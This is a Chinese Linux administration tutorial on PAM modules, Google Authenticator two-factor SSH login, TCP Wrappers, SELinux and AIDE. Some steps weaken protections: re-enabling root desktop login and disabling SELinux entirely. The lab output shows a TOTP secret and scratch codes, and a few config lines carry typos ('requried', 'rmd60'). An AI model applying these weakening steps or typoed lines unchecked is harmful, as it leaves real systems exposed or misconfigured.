apache – nofile 10240
#用户student不能运行超过20个进程
student hard nproc 10

#用student登录多次运行bash,观察结果

[root@centos8 ~]#vim /etc/security/limits.conf
wang        -       nofile 66666
wang        -       nproc 5
me        -       nofile 88888

[root@centos8 ~]#su - wang
Last login: Mon May 25 14:40:38 CST 2020 on pts/0
[wang@centos8 ~]$ulimit -n
66666

案例:限制me用户最大的同时登录次数

[root@centos8 ~]#tail -n1 /etc/security/limits.conf
me    -   maxlogins   2
[root@centos8 ~]#who
me    tty1    2020-05-25 14:35
root    pts/0   2020-05-25 14:35 (10.0.0.1)
root    pts/3   2020-05-25 14:06 (10.0.0.1)
me    tty3    2020-05-25 14:35

生产案例:

vim /etc/security/limits.conf
*   -   core        unlimited
*   -   nproc       1000000
*   -   nofile      1000000
root   -   nofile      1000000
*   -   memlock     32000
*   -   msgqueue    8192000

#只对非 root 用户起作用。而 root 用户的限制,必须显式添加

pam_succeed_if 模块

功能:根据参数中的所有条件都满足才返回成功

案例:ubuntu默认不允许root登录桌面图形

#用root登录桌面失败,查看日志,可看到Pam原因

Vim /etc/pam.d/gdm-passwd
#将下面行注释
#auth requried pam_succeed_if.so user !=root quiet_success

pam_google_authenticator 模块

功能:实现SSH登录的两次身份验证,先验证APP的数字码,再验证root用户的密 码,都通过才可以登录。目前只支持口令验证,不支持基于key验证

官方网站:https://github.com/google/google-authenticator-android

image-20210413194739196.png

范例:

  • 在手机应用市场搜索:身份验证器或authenticator,并安装APP或者也可以使用微信小程序MinaOTP
  • 安装google-authenticator,需要有epel源
  • 执行google-authenticator
  • 在/etc/pam.d/sshd中添加auth required pam_google_authenticator.so
  • 修改sshd配置文件/etc/ssh/sshd_config中 ChallengeResponseAuthentication yes
  • 重启ssh服务
[root@centos8 ~]#dnf info google-authenticator
Name         : google-authenticator

#安装,需先安装epel源
[root@centos8 ~]#yum install -y epel-release
[root@centos8 ~]#yum install -y  google-authenticator.x86_64

#执行,所有选项都执行y
[root@centos8 ~]#google-authenticator 
Do you want authentication tokens to be time-based (y/n) y
Warning: pasting the following URL into your browser exposes the OTP secret to Google:

访问生成的url(需要科学上网):

https://www.google.com/chart?
chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/[email protected]%3Fsecret%3D7YTAL4GW3TND7BICUMJGJLIFVE%26issuer%3Dcentos8.localdomain
image-20210120200839771.png

打开用身份验证器APP,扫网页上的二维码,进行绑定手机

image-20210120200903716.png

继续上面的安装配置向导,输入手机APP上的数字,后续都回答 y 即可

Failed to use libqrencode to show QR code visually for scanning.
Consider typing the OTP secret into your app manually.
Your new secret key is: LLFWOV6CYA5Z3LRIOFGKIQVREQ
Enter code from app (-1 to skip): 955339  #手机APP上的数字
Code confirmed
Your emergency scratch codes are:
#下面生成的数字需要保存,以防止手机丢失无法登录时使用,那个使用过后就消失了
需要添加的话可以在/root/.google_authenticator文件中添加
  48958542
  44641379
  74831968
  24770818
  95685545

Do you want me to update your "/root/.google_authenticator" file? (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, a new token is generated every 30 seconds by the mobile app.
In order to compensate for possible time-skew between the client and the server,
we allow an extra token before and after the current time. This allows for a
time skew of up to 30 seconds between authentication server and client. If you
experience problems with poor time synchronization, you can increase the window
from its default size of 3 permitted codes (one previous code, the current
code, the next code) to 17 permitted codes (the 8 previous codes, the current
code, and the 8 next codes). This will permit for a time skew of up to 4 minutes
between client and server.
Do you want to do so? (y/n) y

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting? (y/n) y

#在pam配置文件sshd文件中添加模块
[root@centos8 ~]#vim /etc/pam.d/sshd 
auth       required     pam_google_authenticator.so           

#修改ssh服务配置文件
[root@centos8 ~]#vim /etc/ssh/sshd_config 
ChallengeResponseAuthentication yes

#重启ssh服务
[root@centos8 ~]#systemctl restart sshd

ssh当前主机,可看到提示,输入手机APP上显示的数字码和root密码,可以登录, 否则失败

[root@Centos7 ~]#ssh 10.0.0.8
Verification code: 
Password: 
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue May 26 17:28:13 2020 from 10.0.0.1

临时口令存放在/root/.google_authenticator中,用一次删除一个,可手动加入使用

[root@centos8 ~]#cat .google_authenticator 
LLFWOV6CYA5Z3LRIOFGKIQVREQ
" RATE_LIMIT 3 30 1590486032
" WINDOW_SIZE 17
" DISALLOW_REUSE 53016201
" TOTP_AUTH
48958542
44641379
74831968
24770818
95685545

范例:安装配置脚本

cat google-authenticator.sh
#安装epel
yum install -y epel-release.noarch
yum makecache
#安装google authenticator
yum install -y google-authenticator.x86_64


echo -e "\033[31mDo you want me to update your "/root/.google_authenticator"
file? (y/n) y"
echo -e "\033[31m你希望我更新你的“/root/.google_authenticator”文件吗(y/n)?\033[0m"
echo -e "\033[31mDo you want to disallow multiple uses of the same
authentication"
echo -e "\033[31mtoken? This restricts you to one login about every 30s, but it
increases"
echo -e "\033[31myour chances to notice or even prevent man-in-the-middle
attacks (y/n) y"
echo -e "\033[31m你希望禁止多次使用同一个验证令牌吗?这限制你每次登录的时间大约是30秒, 但是这加大了发现或甚至防止中间人攻击的可能性(y/n)?\033[0m"
echo -e "\033[31mBy default, a new token is generated every 30 seconds by the
mobile app."
echo -e "\033[31mIn order to compensate for possible time-skew between the
client and the server,"
echo -e "\033[31mwe allow an extra token before and after the current time. This allows for a"
echo -e "\033[31mtime skew of up to 30 seconds between authentication server and client. If you"
echo -e "\033[31mexperience problems with poor time synchronization, you can
increase the window"
echo -e "\033[31mfrom its default size of 3 permitted codes (one previous code,
the current"
echo -e "\033[31mcode, the next code) to 17 permitted codes (the 8 previous
codes, the current"
echo -e "\033[31mcode, and the 8 next codes). This will permit for a time skew
of up to 4 minutes"
echo -e "\033[31mbetween client and server."
echo -e "\033[31mDo you want to do so? (y/n) y"
echo -e "\033[31m默认情况下,令牌保持30秒有效;为了补偿客户机与服务器之间可能存在的时滞,\033[0m"
echo -e "\033[31m我们允许在当前时间前后有一个额外令牌。如果你在时间同步方面遇到了问题, 可以增加窗口从默认的3个可通过验证码增加到17个可通过验证码,\033[0m"
echo -e "\033[31m这将允许客户机与服务器之间的时差增加到4分钟。你希望这么做吗(y/n)?\033[0m"
echo -e "\033[31mIf the computer that you are logging into isn't hardened
against brute-force"
echo -e "\033[31mlogin attempts, you can enable rate-limiting for the
authentication module."
echo -e "\033[31mBy default, this limits attackers to no more than 3 login
attempts every 30s."
echo -e "\033[31mDo you want to enable rate-limiting? (y/n) y"
echo -e "\033[31m如果你登录的那台计算机没有经过固化,以防范运用蛮力的登录企图,可以对验证模块\033[0m"
echo -e "\033[31m启用尝试次数限制。默认情况下,这限制攻击者每30秒试图登录的次数只有3次。 你希望启用尝试次数限制吗(y/n)?\033[0m"
echo -e "\033[32m 在App Store 搜索Google Authenticator 进行App安装 \033[0m"

google-authenticator

#/etc/pam.d/sshd文件,修改或添加下行保存
#auth required pam_google_authenticator.so
sed -i '1a\auth required pam_google_authenticator.so' /etc/pam.d/sshd
#编辑/etc/ssh/sshd_config找到下行
#ChallengeResponseAuthentication no
#更改为
#ChallengeResponseAuthentication yes # 是否允许质疑-应答(challenge-response)认证。默认值是"yes"
sed -i 's/.*ChallengeResponseAuthentication.*/ChallengeResponseAuthentication yes/' /etc/ssh/sshd_config

#重启SSH服务
service sshd restart

pam_access.so 模块

功能:根据/etc/secruity/access.conf文件控制用户的登录地点

http://www.linux-pam.org/Linux-PAM-html/sag-pam_access.html

配置文件格式

permission:users/groups:origins

格式说明
permission:可以是 “+”或”-”,表示允许或拒绝。
user      :可以是用户名、用户组名,ALL 表示所有用户。
origins   :登录地点。
    local表示本地,ALL表示所有地点, console表示控制台登录

关键字: EXCEPT表示除了
注意:root账户的登录地点不在access.conf文件中控制,而是由/etc/securetty文件控制。

范例:

# 除了用户wheel、shutdown、sync禁止所有的控制台登录:
-:ALL EXCEPT wheel shutdown sync:console

# 组合
+:root:ALL          # root从任意位置连入系统
+:redhat:164.70.12. # redhat只能从这个网段连入
-:ALL:ALL           # 其余DENY

pam_time.so 模块

范例:限制用户LOGIN时间

# redhat每星期二晚上22:00-22:30不能使用SSH来login系统
vi /etc/security/time.conf
sshd;*;redhat;!Tu2200-2230

vi /etc/pam.d/sshd
account required pam_time.so

pam_listfile.so 模块

范例:用户访问控制

用户访问控制
vi /etc/pam.d/vsftpd 加入以下一行
auth required pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed
vi /etc/ftpusers ……

TCP Warpper

centos8已经淘汰这个了

TCP_Wrappers介绍

作者:Wieste Venema,IBM,Google,工作在第四层(传输层)的TCP协议,对 有状态连接的特定服务进行安全检测并实现访问控制,以库文件形式实现某进程 是否接受libwrap的控制取决于发起此进程的程序在编译时是否针对libwrap进行 编译的

判断服务程序是否能够由tcp_wrapper进行访问控制的方法:

ldd /PATH/TO/PROGRAM|grep libwrap.so

范例:

[root@centos7 ~]#ldd `which sshd ` |grep libwra
libwrap.so.0 => /lib64/libwrap.so.0 (0x00007f58c2249000)

[root@centos8 ~]#ldd `which sshd ` |grep libwrap

TCP_Wrappers的使用

配置文件:/etc/hosts.allow, /etc/hosts.deny

帮助参考: man 5 hosts_accessman 5 hosts_options

检查顺序:hosts.allow,hosts.deny(默认允许),注意:一旦前面规则匹配, 直接生效,将不再继续

判断某服务是否能够由tcp_wrapper进行访问控制的方法:

1) 动态编译:ldd命令;
ldd $(which COMMAND) | grep libwrap
2) 静态编译:strings命令查看应用程序文件,其结果中是否出现了hosts.allow和hosts.deny文件;

注意:
CentOS6主机上的telnet服务托管于xinetd,后者接受libwrap控制;
CentOS7主机上的telnet服务未托管于xinetd,而in.telnetd程序未链接至libwrap;

配置基本语法:

daemon_list@host: client_list [ :options :option… ]
  1. Daemon_list@host 格式
单个应用程序的二进制文件名,而非服务名,例如vsftpd
以逗号或空格分隔的应用程序文件名列表,如:sshd,vsftpd
ALL表示所有接受tcp_wrapper控制的服务程序
主机有多个IP,可用@hostIP来实现控制,如:[email protected]

2.客户端 Client_list 格式

以逗号或空格分隔的客户端列表
基于IP地址:192.168.10.1     192.168.1.
基于主机名:www.meu.com .meu.com 较少用
基于网络/掩码:192.168.0.0/255.255.255.0
基于net/prefixlen: 192.168.1.0/24(CentOS7)
基于网络组(NIS 域):@mynetwork
内置ACL:
    ALL:所有主机;
    KNOWN: 所有已知可以解析的主机
    UNKNOWN:主机名不能反解的主机
    PARANOID:正向解析和安详解析不匹配的主机

EXCEPT     排除相关地址

范例:EXCEPT用法

vsftpd: 172.16. EXCEPT 172.16.100.0/24 EXCEPT 172.16.100.1

范例:只允许192.168.1.0/24的主机访问sshd

/etc/hosts.allow
sshd: 192.168.1.             
/etc/hosts.deny         
sshd :ALL

范例:只允许192.168.1.0/24的主机访问telnet和vsftpd服务

/etc/hosts.allow
vsftpd,in.telnetd: 192.168.1.
/etc/host.deny
vsftpd,in.telnetd: ALL

[:options] 选项格式:帮助:man 5 hosts_options

  • deny 主要用在/etc/hosts.allow定义“拒绝”规则,如:vsftpd: 172.16. :deny
  • allow 主要用在/etc/hosts.deny定义“允许”规则,如:vsftpd:172.16. :allow
  • spawn 启动一个外部程序完成执行的操作
  • twist 实际动作是拒绝访问,使用指定操作替换当前服务,标准输出和ERROR发 送到客户端,默认至/dev/null

范例:

vim /etc/hosts.allow
sshd: ALL :spawn echo "$(date +%%F) login attempt from %c to %s,%d" >>/var/log/sshd.log

说明:
在/etc/hosts.allow中添加,允许登录,并记录日志
在/etc/hosts.deny中添加,拒绝登录,并记录日志
%c 客户端信息
%s 服务器端信息
%d 服务名
%p 守护进程的PID
%% 表示%

范例:

vim /etc/hosts.allow
vsftpd: 172.16. :twist /bin/echo "connection prohibited"

测试工具tcpdmatch

tcpdmatch [-d] daemon[@host] client

选项: -d 测试当前目录下的hosts.allow和hosts.deny

范例:

tcpdmatch -d sshd 192.168.8.100

练习仅开放本机两个IP地址中的一个地址172.16.0.X上绑定的sshd和vsftpd服务 给172.16.0.0/16网络中除了172.16.0.0/24网络中的主机之外的所有主机,但允 许172.16.0.200访问,每次的用户访问都要记录于日志文件中,注:其中X为学号

编写脚本/root/bin/checkip.sh,每5分钟检查一次,如果发现通过ssh登录失败 次数超过10次,自动将此远程IP放入Tcp Wrapper的黑名单中予以禁止防问

SELinux

SELinux 介绍和工作原理

SELinux 介绍

SELinux:Security-Enhanced Linux, 是美国国家安全局(NSA=The National Security Agency)和 SCC(Secure Computing Corporation)开发的Linux的一个 强制访问控制的安全模块。2000年以GNU GPL发布,Linux内核2.6版本后集成在 内核中

DAC:Discretionary Access Control自由访问控制

MAC:Mandatory Access Control 强制访问控制

DAC环境下进程是无束缚的

MAC环境下策略的规则决定控制的严格程度

MAC环境下进程可以被限制的策略被用来定义被限制的进程能够使用那些资源(文件和端口)

默认情况下,没有被明确允许的行为将被拒绝

SELinux 相关概念

对象(object):所有可以读取的对象,包括文件、目录和进程,端口等

主体:进程称为主体(subject)

SELinux中对所有的文件都赋予一个type的文件类型标签,对于所有的进程也赋 予各自的一个domain的标签。domain标签能够执行的操作由安全策略里定义

当一个subject试图访问一个object,Kernel中的策略执行服务器将检查AVC (访 问矢量缓存Access Vector Cache),在AVC中,subject和object的权限被缓存 (cached),查找“应用+文件”的安全环境。然后根据查询结果允许或拒绝访问

安全策略:定义主体读取对象的规则数据库,规则中记录了哪个类型的主体使用 哪个方法读取哪一个对象是允许还是拒绝的,并且定义了哪种行为是充许或拒绝

image-20210120203627879.png

SELinux有四种工作类型

  • Strict:CentOS 5,每个进程都受到selinux的控制
  • targeted:用来保护常见的网络服务,仅有限进程受到selinux控制,只监控容 易被入侵的进程,CentOS 4只保护13个服务,CentOS 5保护88个服务
  • minimum:CentOS 7,修改的 targeted,只对选择的网络服务
  • mls:提供MLS(多级安全)机制的安全性

targeted为默认类型,minimum和mls稳定性不足,未加以应用,strict已不再使用

SELinux安全上下文

传统Linux,一切皆文件,由用户,组,权限控制访问,在SELinux中,一切皆对 象(object),由存放在inode的扩展属性域的安全元素所控制其访问,所有文 件和端口资源和进程都具备安全标签:安全上下文(security context)

安全上下文有五个元素组成:

user:role:type:sensitivity:category

实际上下文:存放在文件系统中, ls -Z;ps -Z

期望(默认)上下文:存放在二进制的SELinux策略库(映射目录和期望安全上下 文)中 semanage fcontext -l

五个安全元素

  • User:指示登录系统的用户类型,进程:如system_u为系统服务进程,是受到 管制的,unconfined_u为不管制的进程,用户自己开启的,如 bash,文件: system_u系统进程创建的文件, unconfined_u为用户自已创建的文件
  • Role:定义文件,进程和用户的用途:进程:system_r为系统服务进程,受到 管制。unconfined_r 为不管制进程,通常都是用户自己开启的,如 bash,文 件:object_r
  • Type:指定数据类型,规则中定义何种进程类型访问何种文件Target策略基于 type实现,多服务共用:public_content_t
  • Sensitivity:限制访问的需要,由组织定义的分层安全级别,如 unclassified,secret,top,secret, 一个对象有且只有一个sensitivity,分 0-15级,s0最低,Target策略默认使用s0
  • Category:对于特定组织划分不分层的分类,如FBI Secret,NSA secret, 一 个对象可以有多个categroy, c0-c1023共1024个分类, Target 策略不使用 category

启用和禁用SELinux

SELinux的状态:

  • enforcing:强制,每个受限的进程都必然受限
  • permissive:允许,每个受限的进程违规操作不会被禁止,但会被记录于审计日志
  • disabled:禁用

相关命令:

  • getenforce: 获取selinux当前状态
  • sestatus :查看selinux状态
  • setenforce 0|1 0: 设置为permissive 1: 设置为enforcing

范例:关闭selinux

setenforce 0
sed -ri '/^[^#]*SELINUX=/s#=.+$#=disabled#' /etc/selinux/config

配置文件:

/boot/grub/grub.conf 在kernel行使用selinux=0禁用SELinux
/boot/grub2/grub.cfg 在linux16行使用selinux=0禁用SELinux
/etc/selinux/config 或 /etc/sysconfig/selinux 中 SELINUX={disabled|enforcing|permissive}

管理文件安全标签

给文件重新打安全标签chcon:

chcon [OPTION]... [-u USER] [-r ROLE] [-t TYPE] FILE...
chcon [OPTION]... --reference=RFILE FILE...
-R:递归打标

恢复目录或文件默认的安全上下文:

restorecon [-R] /path/to/somewhere

默认安全上下文查询与修改semanage:来自policycoreutils-python包

#查看默认的安全上下文
semanage fcontext –l

#添加安全上下文
semanage fcontext     -a –t httpd_sys_content_t     ‘/testdir(/.*)?’
restorecon –Rv /testdir

#删除安全上下文
semanage fcontext     -d –t httpd_sys_content_t     ‘/testdir(/.*)?’

管理端口标签

#查看端口标签
semanage port –l

#添加端口
semanage port -a -t port_label -p tcp|udp PORT
semanage port -a -t http_port_t     -p tcp 9527

#删除端口
semanage port -d -t port_label -p tcp|udp PORT
semanage port -d -t http_port_t     -p tcp 9527

#修改现有端口为新标签
semanage port -m -t port_label -p tcp|udp PORT
semanage port -m -t http_port_t -p tcp 9527

管理SELinux布尔值开关

#布尔型规则:
getsebool
setsebool

#查看bool命令:
getsebool [-a] [boolean]
semanage boolean –l
semanage boolean -l –C 查看修改过的布尔值

#设置bool值命令:
setsebool [-P] boolean value(on,off)
setsebool [-P] Boolean=value(1,0)

管理日志

yum install setroubleshoot(重启生效)

将错误的信息写入/var/log/message

grep setroubleshoot /var/log/messages

查看安全事件日志说明

sealert -l UUID

扫描并分析日志

sealert -a /var/log/audit/audit.log

查看SELinux帮助

yum –y install selinux-policy-devel ( centos7.2)
yum –y install selinux-policy-doc
mandb | makewhatis
man -k _selinux

文件完整性检查AIDE(dvanced Intrusion Detection Environment)

当一个入侵者进入了你的系统并且种植了木马,通常会想办法隐蔽这个木马(除 了木马自身的一些隐蔽特性外,他会尽量给你检查系统的过程设置障碍),通常 入侵者会修改一些文件,比如管理员通常用ps aux来查看系统进程,那么入侵者 很可能用自己经过修改的ps程序来替换掉你系统上的ps程序,以使用ps命令查不 到正在运行的木马程序。如果入侵者发现管理员正在运行crontab作业,也有可 能替换掉crontab程序等等。所以由此可以看出对于系统文件或是关键文件的检 查是很必要的。目前就系统完整性检查的工具用的比较多的有两款:Tripwire和 AIDE,前者是一款商业软件,后者是一款免费的但功能也很强大的工具

AIDE(Advanced Intrusion Detection Environment高级入侵检测环境)是一个入 侵检测工具,主要用途是检查文件的完整性,审计计算机上的那些文件被更改过 了

AIDE能够构造一个指定文件的数据库,它使用aide.conf作为其配置文件。AIDE 数据库能够保存文件的各种属性,包括:权限(permission)、索引节点序号 (inode number)、所属用户(user)、所属用户组(group)、文件大小、最后修改 时间(mtime)、创建时间(ctime)、最后访问时间(atime)、增加的大小以及连接 数。AIDE还能够使用下列算法:sha1、md5、rmd160、tiger,以密文形式建立每 个文件的校验码或散列号

image-20210120155204403.png

这个数据库不应该保存那些经常变动的文件信息,例如:日志文件、邮件、 /proc文件系统、用户起始目录以及临时目录

安装 AIDE

yum install aide

配置文件指定对哪些文件进行检测

vim /etc/aide.conf

配置范例:

#定义监控项权限+索引节点+链接数+用户+组+大小+最后一次修改时间+创建时间+md5校验值
R=p+i+n+u+g+s+m+c+md5
NORMAL = R+rmd60+sha256
/data/test.txt R
/bin/ps R+a
/usr/bin/crontab R+a
/etc PERMS
!/etc/mtab #“!”表示忽略这个文件的检查

初始化默认的AIDE的库:

/usr/local/bin/aide -i | --init

生成检查数据库(建议初始数据库存放到安全的地方)

cd /var/lib/aide
mv aide.db.new.gz aide.db.gz

检测

/usr/local/bin/aide -C | --check

更新数据库

aide -u | --update